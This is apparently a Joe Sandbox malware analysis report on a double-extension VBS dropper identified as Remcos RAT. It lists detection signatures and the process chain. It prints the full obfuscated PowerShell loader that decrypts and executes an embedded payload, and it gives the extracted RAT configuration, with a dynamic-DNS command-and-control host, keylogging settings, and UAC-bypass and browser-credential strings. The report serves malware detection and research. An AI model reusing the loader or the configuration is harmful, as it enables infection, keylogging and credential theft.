Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
ucancrosstheflowerbeautiytogetin.gIF.vbs

Overview

General Information

Sample name:ucancrosstheflowerbeautiytogetin.gIF.vbs
Analysis ID:1471601
MD5:eec519a1cbc0d19be5538c9f6709758b
SHA1:54ca0c455475981361a0e4ba4bd5d27eff1f605e
SHA256:a8b3da1296400d323a49d149154f52a33a32a8c9f31c805fe5ee1cb3e154e0ea
Tags:RemcosRATvbs
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Injects a PE file into a foreign processes
Installs a global keyboard hook
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Cscript/Wscript Uncommon Script Extension Execution
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Script Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

  • System is w10x64
  • wscript.exe (PID: 5492 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ucancrosstheflowerbeautiytogetin.gIF.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • powershell.exe (PID: 3192 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI99645972962600823844763280617644CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIzrLkMfCMq2rIsTPnsb8jY47nqz/Y3CrDhgWeqNwTLWPZq+63N4Yhb4EnQJlSBVsguiI84l7zQtwXUQDNIqA92qrVYISAWXhnAYlXALfgssFnno/A2WwlOAFMD/NaVHV+icZyMNgugo/qb9zXaAO8+cQKC7PRaSfFqfVh6ouLofUA5r9MdLhJcneg+mqvCsSeIs3qhIp0vL4z2IKMK2L+k3UqicZjYCi+pQuAnUnn6K9CK71T+oydLiK4GCe2wGcbgIv2DkqaxSHySRydLdHWL0Gi3gEyBH38YBdVu9yBq5glJrh9I8g3FMB1F3MmIaOPg1KNoX9pH1Ub1ee/WxI3psHt96qJfCOVjRl8WZBZ/25QPRntDiX3CNsajiC9dyuVj5z5gQi8aVHKqGC917SReapeeZ0Cc8AhgWyke24u2jHI0QVsseFLiJgwDrex02OunlMSaX32SzeO0kHYzd1RECVE6yk6v7aAq9+TvaqLALY88yliJbfXlcRGeV7edBQLXzJuY5KQ31nWGyUzNenSlvUEvmZXuZ8k9A/a2Nc9Hr3s8k5NMMd3H479dy8/86CJic0bNcnApcxv7O8Un7Ju+yY8SP4rtI3SMFC0vm2vpLwjRjG/9eze4vvZCB1bC8f/j50YLUH9CUo4HgkBoIZCb0IA3oePudi8YFi00YVldRxoxts1jNHBcXLNcewoBJlBHRwFDG6fjgHV3j6P9jnOqMagHomqR1aHltsLzaM+rrG8GFKA3J3po82f2qKuXUKy7JE0+mDm0JnNX+TJztMNCbMNgqBYdflFEp2ir4NAUKLUU1QI6UTgOqf4PlRc7UiCRv5vPMF8ozNN2xns8NMF/XFC9hNsKSURv09S9rBXrn02FWnZJ4f2fr++C52b/4/ckoDa4iu5B2+phXA02niHmmbYDev+Dqz2ElbsoeY3YzDdts+nrseEhOip+iFMPENsFezcvBhpr0l0fszFeuUa0GlaxS1ew1CovjoIVwUs8S/jgCqxTKcIXXBxWnKWm3mR4vwi0ajQV+tHJgy32K2BmV5rF4YAQ1h4Qibdg0vgE7IwO6h3m8kGFkXeiYajfraMYftsvnztTExQKxccg0Bb9EbeVBWg2rml5Kl3ZIKpVWMnz5/ObGF3ovPp2erk/L7gmbFngwPL//lX49kTOc2QoXA7+oy0WQq+27kjIPsYZU4QoG2ZwsKnnDBXN7JE9SwTsEt0kog7f1aKg45cO9g7n/iZfPMfyfKmzE30L9H+oIIvD4jJJkdyZ2H8X78p0NIUYSQ+QMYMOEimSClFq7FIXjTO6KnsBFBvotz1InJLUgn7bYMGX4n9kaJV5BsZGig70cx4ANxQI4IXuA72zIOoQf/xZghiHMzgvmO7qIopxTZ44FYpyt89FGblmTsodmcKBe7hqqYT5+Ec+oUO9PiPT70JaDUj/yn7c6VWECh38exGlPiARukcYHn0Ho0Z2CDitPLsNU63GCra3riIbidF39vAdcBK7G/mG0I+oPLcOQQ2RJmrQ+BkIEkh0ChRfeNyaysmJx2gLSjz89+Y0saZbkqtECuwufAtp9BHE7gldgIkSmHwLnFzwyDE7zg+ZAwyn5BddaTl09JKnhn4ILbZTSfV0zfiK/cyeHYryggXQ3fjKKpwaR9fo2PRyTC2gFYgRc0JenJ7MtMiZj5a6d9vzcezTdg3AD4Q5zn6pL9HSdvBQdB1Ta8P1l9O87UiBWx7fn/N5/Thfcm1Tb56BIzFYbrXiDB86dMeE2xNU4buN7tmTwFkQG+ILl+MdKPy0I37CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'') MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • RegAsm.exe (PID: 3748 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
      • RegAsm.exe (PID: 5068 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
{"Host:Port:Password": "sembe.duckdns.org:14645:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-999Z97", "Keylog flag": "1", "Keylog path": "Temp", "Keylog file": "nots.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\note\nots.datJoeSecurity_RemcosYara detected Remcos RATJoe Security
    SourceRuleDescriptionAuthorStrings
    00000006.00000002.3380350847.000000000129B000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      00000006.00000002.3377712509.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        00000006.00000002.3377712509.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
          00000006.00000002.3377712509.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
          • 0x6c4a8:$a1: Remcos restarted by watchdog!
          • 0x6ca20:$a3: %02i:%02i:%02i:%03i
          00000006.00000002.3377712509.0000000000400000.00000040.00000400.00020000.00000000.sdmpREMCOS_RAT_variantsunknownunknown
          • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
          • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
          • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
          • 0x6656c:$str_b2: Executing file:
          • 0x675ec:$str_b3: GetDirectListeningPort
          • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
          • 0x67118:$str_b7: \update.vbs
          • 0x66594:$str_b9: Downloaded file:
          • 0x66580:$str_b10: Downloading file:
          • 0x66624:$str_b12: Failed to upload file:
          • 0x675b4:$str_b13: StartForward
          • 0x675d4:$str_b14: StopForward
          • 0x67070:$str_b15: fso.DeleteFile "
          • 0x67004:$str_b16: On Error Resume Next
          • 0x670a0:$str_b17: fso.DeleteFolder "
          • 0x66614:$str_b18: Uploaded file:
          • 0x665d4:$str_b19: Unable to delete:
          • 0x67038:$str_b20: while fso.FileExists("
          • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
          Click to see the 6 entries
          SourceRuleDescriptionAuthorStrings
          6.2.RegAsm.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
            6.2.RegAsm.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              6.2.RegAsm.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
              • 0x6c4a8:$a1: Remcos restarted by watchdog!
              • 0x6ca20:$a3: %02i:%02i:%02i:%03i
              6.2.RegAsm.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
              • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
              • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
              • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
              • 0x6656c:$str_b2: Executing file:
              • 0x675ec:$str_b3: GetDirectListeningPort
              • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
              • 0x67118:$str_b7: \update.vbs
              • 0x66594:$str_b9: Downloaded file:
              • 0x66580:$str_b10: Downloading file:
              • 0x66624:$str_b12: Failed to upload file:
              • 0x675b4:$str_b13: StartForward
              • 0x675d4:$str_b14: StopForward
              • 0x67070:$str_b15: fso.DeleteFile "
              • 0x67004:$str_b16: On Error Resume Next
              • 0x670a0:$str_b17: fso.DeleteFolder "
              • 0x66614:$str_b18: Uploaded file:
              • 0x665d4:$str_b19: Unable to delete:
              • 0x67038:$str_b20: while fso.FileExists("
              • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
              6.2.RegAsm.exe.400000.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
              • 0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
              • 0x6637c:$s1: CoGetObject
              • 0x66390:$s1: CoGetObject
              • 0x663ac:$s1: CoGetObject
              • 0x70338:$s1: CoGetObject
              • 0x6633c:$s2: Elevation:Administrator!new:
              Click to see the 5 entries
              SourceRuleDescriptionAuthorStrings
              amsi64_3192.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
                amsi64_3192.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security

                  System Summary

                  barindex
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI99645972962600823844763280617644CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIzrLkMfCMq2rIsTPnsb8jY47nqz/Y3CrDhgWeqNwTLWPZq+63N4Yhb4EnQJlSBVsguiI84l7zQtwXUQDNIqA92qrVYISAWXhnAYlXALfgssFnno/A2WwlOAFMD/NaVHV+icZyMNgugo/qb9zXaAO8+cQKC7PRaSfFqfVh6ouLofUA5r9MdLhJcneg+mqvCsSeIs3qhIp0vL4z2IKMK2L+k3UqicZjYCi+pQuAnUnn6K9CK71T+oydLiK4GCe2wGcbgIv2DkqaxSHySRydLdHWL0Gi3gEyBH38YBdVu9yBq5glJrh9I8g3FMB1F3MmIaOPg1KNoX9pH1Ub1ee/WxI3psHt96qJfCOVjRl8WZBZ/25QPRntDiX3CNsajiC9dyuVj5z5gQi8aVHKqGC917SReapeeZ0Cc8AhgWyke24u2jHI0QVsseFLiJgwDrex02OunlMSaX32SzeO0kHYzd1RECVE6yk6v7aAq9+TvaqLALY88yliJbfXlcRGeV7edBQLXzJuY5KQ31nWGyUzNenSlvUEvmZXuZ8k9A/a2Nc9Hr3s8k5NMMd3H479dy8/86CJic0bNcnApcxv7O8Un7Ju+yY8SP4rtI3SMFC0vm2vpLwjRjG/9eze4vvZCB1bC8f/j50YLUH9CUo4HgkBoIZCb0IA3oePudi8YFi00YVldRxoxts1jNHBcXLNcewoBJlBHRwFDG6fjgHV3j6P9jnOqMagHomqR1aHltsLzaM+rrG8GFKA3J3po82f2qKuXUKy7JE0+mDm0JnNX+TJztMNCbMNgqBYdfl